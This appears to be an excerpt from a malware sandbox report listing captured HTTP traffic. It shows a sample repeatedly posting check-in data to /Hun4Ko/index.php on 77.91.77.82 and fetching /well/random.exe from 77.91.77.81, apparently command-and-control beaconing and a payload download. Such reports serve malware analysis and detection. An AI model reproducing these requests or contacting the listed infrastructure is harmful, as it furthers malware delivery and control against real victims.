Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000007001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
